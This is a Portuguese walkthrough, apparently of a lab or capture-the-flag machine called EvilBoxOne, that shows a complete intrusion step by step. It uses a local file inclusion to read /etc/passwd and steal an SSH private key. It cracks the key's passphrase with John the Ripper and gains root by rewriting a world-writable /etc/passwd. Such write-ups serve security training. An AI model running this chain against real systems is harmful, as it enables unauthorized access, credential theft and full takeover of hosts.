Fase de Reconhecimento
Iniciamos o processo identificando os serviços ativos no host alvo (192.168.47.131) através de uma varredura completa de portas utilizando o Nmap.
$ nmap -p- -sV -sC -T4 192.168.47.131
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
A análise revela um servidor SSH e um servidor web Apache rodando a página padrão do Debian.
Enumeração de Diretórios Web
Como a página inicial é apenas o padrão do Apache, utilizamos o Gobuster para localizar diretórios ocultos que possam conter vulnerabilidades.
$ gobuster dir -u http://192.168.47.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
/robots.txt (Status: 200)
/secret (Status: 301)
O diretório /secret parece promissor. Realizando uma nova busca dentro dessa pasta, encontramos um arquivo PHP específico:
$ gobuster dir -u http://192.168.47.131/secret/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
/evil.php (Status: 200)
Descobreta de LFI via Fuzzing
O arquivo evil.php retorna uma página em branco, sugerindo que ele processa parâmetros via GET ou POST. Vamos realizar um fuzzing de parâmetros para verificar a existência de uma vulnerabilidade de Local File Inclusion (LFI).
$ ffuf -u http://192.168.47.131/secret/evil.php?FUZZ=../../../../etc/passwd -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
command [Status: 200, Size: 914, Words: 15, Lines: 22]
O parâmetro identificado foi command. Ao carregar /etc/passwd, confirmamos a existência do usuário mowree no sistema.
Extração e Quebra da Chave SSH
Com a falha de LFI, tentamos ler a chave privada SSH do usuário mowree localizada no caminho padrão: /home/mowree/.ssh/id_rsa.
$ curl "http://192.168.47.131/secret/evil.php?command=../../../../home/mowree/.ssh/id_rsa" -o mowree_id_rsa
A chave está protegida por uma senha. Utilizaremos o ssh2john para converter a chave em um formato que o John the Ripper consiga processar e, em seguida, realizamos o ataque de dicionário.
$ ssh2john mowree_id_rsa > id_rsa_hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash
...
unicorn (mowree_id_rsa)
Com a senha unicorn, acessamos o servidor via SSH:
$ chmod 600 mowree_id_rsa
$ ssh -i mowree_id_rsa mowree@192.168.47.131
Escalonamento de Privilégios: Escrita no /etc/passwd
Após ganhar acesso inicial, verificamos as permissões de arquivos críticos do sistema. Notamos uma configuração incorreta severa: o arquivo /etc/passwd possui permissão de escrita para usuários comuns.
mowree@EvilBoxOne:~$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1054 Nov 8 09:30 /etc/passwd
Para explorar isso, geramos um hash de senha compatível com o sistema e criamos uma entrada de usuário com privilégios de root (UID 0), ou simplesmente alteramos a senha do root original.
# Gerando hash para a senha 'root123'
mowree@EvilBoxOne:~$ openssl passwd -1 -salt novo root123
$1$novo$KjU.K0hO07S69R.n4Bv3D1
Editamos o /etc/passwd e substituímos o "x" (que indica o uso do /etc/shadow) na linha do root pelo hash gerado:
# Antes: root:x:0:0:root:/root:/bin/bash
# Depois:
root:$1$novo$KjU.K0hO07S69R.n4Bv3D1:0:0:root:/root:/bin/bash
Agora, basta alternar para o usuário root utilizando a nova senha definida:
mowree@EvilBoxOne:~$ su root
Password: root123
root@EvilBoxOne:/home/mowree# id
uid=0(root) gid=0(root) groups=0(root)